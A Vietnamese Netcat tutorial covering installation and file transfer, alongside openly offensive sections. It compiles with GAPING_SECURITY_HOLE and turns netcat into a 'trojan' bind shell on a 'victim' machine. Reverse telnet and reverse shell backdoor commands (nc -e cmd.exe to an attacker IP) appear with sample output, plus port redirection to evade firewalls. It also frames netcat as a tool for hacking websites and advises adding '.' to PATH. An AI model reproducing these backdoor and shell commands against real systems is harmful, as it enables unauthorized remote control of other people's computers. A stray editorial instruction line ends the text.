Hướng dẫn sử dụng Netcat

0
47
Rate this post

Hiện nay có nhiều giải pháp phần mềm giúp chuyển file giữa các máy tính. Tuy nhiên, không phải lúc nào cũng cần sử dụng những giải pháp phức tạp như NFS hoặc SFTP thông qua OpenSSH. Ngoài ra, sử dụng các dịch vụ này cần cấu hình kỹ lưỡng để tránh rủi ro bị tấn công.

Netcat là một công cụ đặc biệt giúp truyền file qua mạng cục bộ hoặc Internet một cách dễ dàng. Nó cũng hữu ích khi truyền dữ liệu từ hoặc đến các máy ảo hoặc container mà không có tính năng này. Thậm chí, người dùng có thể sử dụng Netcat như một cơ chế sao chép-dán giữa hai thiết bị.

1. Giới thiệu

Netcat là một công cụ không thể thiếu khi bạn muốn hack một website nào đó. Vì vậy, bạn cần nắm vững kiến thức về Netcat.

2. Cách cài đặt Netcat trên các bản phân phối Linux khác nhau

Hầu hết các hệ điều hành dựa trên Linux đã được cài đặt sẵn Netcat. Mở terminal và nhập lệnh:

netcat

Nếu không tìm thấy lệnh, hãy cài đặt gói chứa Netcat. Trên các bản phân phối dựa trên Debian như Ubuntu hoặc Linux Mint, hãy cài đặt tiện ích với lệnh:

sudo apt install netcat-openbsd

Trên Arch Linux, nhập lệnh sau:

sudo pacman -S openbsd-netcat

Các bản phân phối RedHat không bao gồm Netcat trong gói phần mềm của chúng. Tuy nhiên, có một phiên bản tương tự là nmap-ncat. Để cài đặt nmap-ncat trên RedHat, hãy sử dụng lệnh:

sudo yum install nmap-ncat

Và trên Fedora, sử dụng lệnh:

sudo dnf install nmap-ncat

3. Biên dịch

Đối với bản Netcat cho Linux, bạn cần phải biên dịch nó trước khi sử dụng. Hãy làm theo các bước sau:

  • Sửa file netcat.c bằng vi: vi netcat.c
    • Tìm dòng res_init(); trong hàm main(), và thêm hai dấu / trước: // res_init();
    • Thêm hai dòng sau vào phần #define (nằm ở đầu file):
      #define GAPING_SECURITY_HOLE
      #define TELNET
  • Biên dịch: make linux
  • Chạy thử: ./nc -h
  • (Tùy chọn) Nếu bạn muốn chạy Netcat bằng nc thay cho ./nc, hãy hiệu chỉnh lại biến môi trường PATH trong file ~/.bashrc, thêm vào :.
    PATH=/sbin:/usr/sbin:...:.

Bản Netcat cho Windows không cần phải biên dịch vì đã có sẵn file nhị phân nc.exe. Chỉ cần giải nén và chạy là xong.

4. Các tùy chọn của Netcat

Netcat chạy ở chế độ dòng lệnh. Bạn chạy nc -h để biết các tham số:

C:>nc -h
connect to somewhere:     nc [-options] hostname port[s] [ports] ...
listen for inbound:        nc -l -p port [options] [hostname] [port]
options:
-d                      detach from console, stealth mode
-e prog                 inbound program to exec [dangerous!!]
-g gateway              source-routing hop point[s], up to 8
-G num                  source-routing pointer: 4, 8, 12, ...
-h                      this cruft
-i secs                 delay interval for lines sent, ports scanned
-l                      listen mode, for inbound connects
-L                      listen harder, re-listen on socket close
-n                      numeric-only IP addresses, no DNS
-o file                 hex dump of traffic
-p port                 local port number
-r                      randomize local and remote ports
-s addr                 local source address
-t                      answer TELNET negotiation
-u                      UDP mode
-v                      verbose [use twice to be more verbose]
-w secs                 timeout for connects and final net reads
-z                      zero-I/O mode [used for scanning]

port numbers can be individual or ranges: m-n [inclusive]

Cú pháp:
- Chế độ kết nối : nc [-tùy_chọn] tên_máy cổng1[-cổng2]
- Chế độ lắng nghe: nc -l -p cổng [-tùy_chọn] [tên_máy] [cổng]

Một số tùy chọn:
-d tách Netcat khỏi cửa sổ lệnh hay là console, Netcat sẽ chạy ở chế độ stealth (không hiển thị trên thanh Taskbar)
-e prog thi hành chương trình prog, thường dùng trong chế độ lắng nghe
-h gọi hướng dẫn
-i secs trì hoãn secs mili giây trước khi gởi một dòng dữ liệu đi
-l đặt Netcat vào chế độ lắng nghe để chờ các kết nối đến
-L buộc Netcat "cố" lắng nghe. Nó sẽ lắng nghe trở lại sau mỗi khi ngắt một kết nối.
-n chỉ dùng địa chỉ IP ở dạng số, chẳng hạn như 192.168.16.7, Netcat sẽ không thẩm vấn DNS
-o file ghi nhật kí vào file
-p port chỉ định cổng port
-r yêu cầu Netcat chọn cổng ngẫu nhiên (random)
-s addr giả mạo địa chỉ IP nguồn là addr
-t không gởi các thông tin phụ đi trong một phiên telnet. Khi bạn telnet đến một telnet daemon (telnetd), telnetd thường yêu cầu trình telnet client của bạn gởi đến các thông tin phụ như biến môi trường TERM, USER. Nếu bạn sử dụng netcat với tùy chọn -t để telnet, netcat sẽ không gởi các thông tin này đến telnetd.
-u dùng UDP (mặc định netcat dùng TCP)
-v hiển thị chi tiết các thông tin về kết nối hiện tại. -vv sẽ hiển thị thông tin chi tiết hơn nữa.
-w secs đặt thời gian timeout cho mỗi kết nối là secs mili giây
-z chế độ zero I/O, thường được sử dụng khi scan port

Netcat hỗ trợ phạm vi cho số hiệu cổng. Cú pháp là cổng1-cổng2. Ví dụ: 1-8080 nghĩa là 1,2,3,..,8080

5. Các ví dụ:

5.1 Chộp banner của web server

Ví dụ: nc đến 172.16.84.2, cổng 80

C:>nc 172.16.84.2 80
HEAD / HTTP/1.0 (tại đây bạn gõ Enter 2 lần)

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2000 20:51:37 GMT
Server: Apache-AdvancedExtranetServer/1.3.19 (Linux-Mandrake/3mdk) mod_ssl/2.8.2 OpenSSL/0.9.6 PHP/4.0.4pl1
Connection: close
Content-Type: text/html

Để biết thông tin chi tiết về kết nối, bạn có thể dùng -v (-vv sẽ cho biết các thông tin chi tiết hơn nữa)

C:>nc -vv 172.16.84.1 80
172.16.84.1: inverse host lookup failed: h_errno 11004: NO_DATA (UNKNOWN) [172.16.84.1] 80 (?) open
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Date: Fri, 04 Feb 2000 14:46:43 GMT
Server: Apache/1.3.20 (Win32)
Last-Modified: Thu, 03 Feb 2000 20:54:02 GMT
ETag: "0-cec-3899eaea"
Accept-Ranges: bytes
Content-Length: 3308
Connection: close
Content-Type: text/html
sent 17, rcvd 245: NOTSOCK

Nếu muốn ghi nhật kí, hãy dùng -o <tên_file>. Ví dụ:

nc -vv -o nhat_ki.log 172.16.84.2 80

5.2 Quét cổng

Để quét một dãy cổng, hãy chạy nc với tùy chọn -z. Để quét cổng nhanh hơn, sử dụng -n để tránh thẩm vấn DNS. Ví dụ quét các cổng TCP (1->500) của host 172.16.106.1:

[dt@vicki /]# nc -nvv -z 172.16.106.1 1-500
(UNKNOWN) [172.16.106.1] 443 (?) open
(UNKNOWN) [172.16.106.1] 139 (?) open
(UNKNOWN) [172.16.106.1] 111 (?) open
(UNKNOWN) [172.16.10]6.1] 80 (?) open
(UNKNOWN) [172.16.106.1] 23 (?) open

Nếu bạn cần quét cổng UDP, sử dụng -u

[dt@vicki /]# nc -u -nvv -z 172.16.106.1 1-500
(UNKNOWN) [172.16.106.1] 1025 (?) open
(UNKNOWN) [172.16.106.1] 1024 (?) open
(UNKNOWN) [172.16.106.1] 138 (?) open
(UNKNOWN) [172.16.106.1] 137 (?) open
(UNKNOWN) [172.16.106.1] 123 (?) open
(UNKNOWN) [172.16.106.1] 111 (?) open

5.3 Biến Netcat thành một trojan

Trên máy tính của nạn nhân, bạn có thể khởi động netcat vào chế độ lắng nghe, sử dụng tùy chọn -l-p port để xác định số hiệu cổng cần lắng nghe, -e <tên_chương_trình_cần_chạy> để yêu cầu netcat thi hành một chương trình khi có một kết nối đến, thường là shell lệnh cmd.exe (đối với Windows) hoặc /bin/sh (đối với Unix). Ví dụ:

E:>nc -nvv -l -p 8080 -e cmd.exe

Trên máy tính dùng để tấn công, bạn chỉ việc dùng netcat nối đến máy nạn nhân trên cổng đã định, chẳng hạn như 8080

C:>nc -nvv 172.16.84.2 8080

Sau khi kết nối thành công, bạn có thể điều khiển máy tính nạn nhân thông qua shell lệnh trên máy tấn công.

6. Kĩ thuật tiên tiến

6.1 Telnet nghịch chuyển

Bạn có thể sử dụng telnet để nối cửa sổ netcat đang lắng nghe, đưa lệnh từ cửa sổ này vào luồng telnet nghịch chuyển, và nhận kết quả từ cửa sổ kia. Ví dụ:

  • Trên máy tính dùng để tấn công (172.16.84.1), mở hai cửa sổ netcat lần lượt lắng nghe trên cổng 80 và 25:

    • Cửa sổ Netcat (1)

      C:>nc -nvv -l -p 80
    • Cửa sổ Netcat (2)

      C:>nc -nvv -l -p 25
  • Trên máy tính nạn nhân (172.16.84.2), telnet nghịch chuyển đến máy tính tấn công (172.16.84.1), sử dụng /bin/sh để thực thi lệnh:

    [root@nan_nhan /]# telnet 172.16.84.1 80 | /bin/sh | telnet 172.16.84.1 25

Telnet trên máy nạn nhân sẽ chuyển tất cả những gì bạn gõ vào trong cửa sổ Netcat (1) – cổng 80 – để thực thi với /bin/sh. Kết quả từ /bin/sh sẽ được trả về máy tính tấn công thông qua cửa sổ Netcat (2) – cổng 25. Bạn chỉ cần gõ lệnh vào cửa sổ Netcat (1) và kiểm tra kết quả trong cửa sổ Netcat (2).

6.2 Tạo kênh sau

Tương tự như telnet nghịch chuyển.

  • Trên máy tính dùng để tấn công, bạn đặt Netcat lắng nghe trên cổng 80, vì cổng này thường không bị firewall chặn:

    E:>nc -nvv -l -p 80
  • Tiếp theo, từ shell lệnh của máy nạn nhân, bạn nối Netcat đến máy tính tấn công với tùy chọn -e để đưa shell vào Netcat:

    E:>nc -e cmd.exe 172.16.84.1 80

Một khi máy nạn nhân thực thi chuỗi lệnh này, một kênh sau Netcat sẽ được tạo ra, “nhét” shell (cmd.exe trong trường hợp này) vào Netcat. Kể từ đây, bạn đã có một shell lệnh ảo.

C:>nc -nvv -l -p 80
listenning on [any] 80 ...
connect to [172.16.84.1] from [UNKNOWN] [172.16.84.3] 1035
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
E:>

6.3 Đổi hướng cổng

Bạn có thể sử dụng tunnel.pl hoặc fpipe.exe để thay đổi hướng cổng. Hãy xem ví dụ sau:

  • Chạy nc trên một cổng bất kỳ:

    E:>nc -nvv -L -p 1234 -e cmd.exe
  • Chạy tunnel.pl hoặc fpipe để thay đổi hướng cổng

    C:>perl tunnel.pl -port=53 -tohost=127.0.0.1 -toport=1234
    C:>fpipe -l 53 -r 1234 127.0.0.1

tunnel.plfpipe sẽ lắng nghe trên cổng 53, sau đó chuyển tiếp kết nối đến 127.0.0.1:1024, đây là cổng mà netcat đang lắng nghe.

Chuyển hướng cổng là một cách để vượt qua các tường lửa.

7. Cách sử dụng Netcat để truyền file giữa các máy tính Linux

Trên máy tính nhận file, tìm địa chỉ IP được sử dụng trên mạng nội bộ:

ip route get 8.8.8.8

Sau “src”, bạn sẽ thấy địa chỉ IP nội bộ của thiết bị. Nếu vì một lý do nào đó, kết quả không như mong đợi, hãy thử:

ip address

Trong ví dụ ảnh chụp màn hình, IP là 10.11.12.10.

Trên máy tính sẽ nhận file, nhập lệnh sau:

nc -vl 44444 > pick_desired_name_for_received_file

Và trên máy tính sẽ gửi file, nhập lệnh sau nhưng thay thế 10.11.12.10 bằng IP đã phát hiện trước đó:

nc -N 10.11.12.10 44444 < /path/to/file/you/want/to/send

Đường dẫn thư mục và file có thể là tuyệt đối hoặc tương đối. Nếu bạn đang ở trong /home/user, bạn có thể sử dụng đường dẫn tương đối, Pictures/file.png, chẳng hạn.

Trong lệnh đầu tiên, hai tham số -v-l đã được sử dụng. -v làm cho đầu ra chi tiết hơn, để bạn có thể theo dõi quá trình. -l làm cho tiện ích này “lắng nghe” trên cổng 44444, tạo một kênh liên lạc trên thiết bị nhận. Đảm bảo không có tường lửa nào chặn kết nối.

Trong lệnh thứ hai, -N giúp Netcat đóng lại khi quá trình truyền file hoàn tất.

Thông thường, Netcat sẽ xuất ra trong terminal mọi thứ nó nhận được. > tạo một chuyển hướng cho đầu ra này. Thay vì xuất hiện trên màn hình, nó sẽ gửi tất cả đầu ra đến file được chỉ định sau >. < hoạt động ngược lại, cho phép lấy đầu vào từ file thay vì chờ nhập từ bàn phím.

Nếu bạn chỉ sử dụng nc -vl 44444nc -N 10.11.12.10 44444 mà không có bất kỳ chuyển hướng nào, bạn sẽ tạo ra một “cuộc trò chuyện” giữa hai thiết bị. Bất kỳ điều gì bạn gõ vào terminal sẽ xuất hiện trên thiết bị kết nối. Điều này cho phép bạn sao chép và dán văn bản giữa các thiết bị. Ấn Ctrl + D (trên máy gửi) hoặc Ctrl + C (bất kỳ đâu) để đóng kết nối.

Tối ưu hóa việc truyền file

Khi gửi các file lớn, nén chúng trước để tăng tốc độ truyền.

Trên máy nhận, sử dụng lệnh:

nc -vl 44444 | gunzip > pick_desired_name_for_file

Và trên máy gửi, sử dụng lệnh sau, thay thế 10.11.12.10 bằng địa chỉ IP của máy nhận:

gzip -c /path/to/file/you/want/to/send | nc -N 10.11.12.10 44444

Gửi và nhận các thư mục

Đôi khi bạn muốn gửi nhiều file cùng một lúc, ví dụ toàn bộ thư mục, bạn nên nén chúng trước khi gửi qua mạng.

Trên máy nhận, sử dụng lệnh:

nc -vl 44444 | tar zxv

Trên máy gửi, sử dụng lệnh:

tar czp /path/to/directory/to/send | nc -N 10.11.12.10 44444

Tuy tốt nhất là chỉ sử dụng điều này trên mạng nội bộ. Lưu lượng mạng không được mã hóa trong trường hợp này. Tuy nhiên, các máy chủ thường có cấu hình SSH để chấp nhận kết nối SFTP an toàn và người dùng có thể sử dụng SFTP thay thế cho việc truyền file.

`Đến đây mỗi article được kết thúc bằng dòng: “Được chỉnh sửa bởi: dnulib.edu.vn” và link https://dnulib.edu.vn/ như là “dnulib.edu.vn”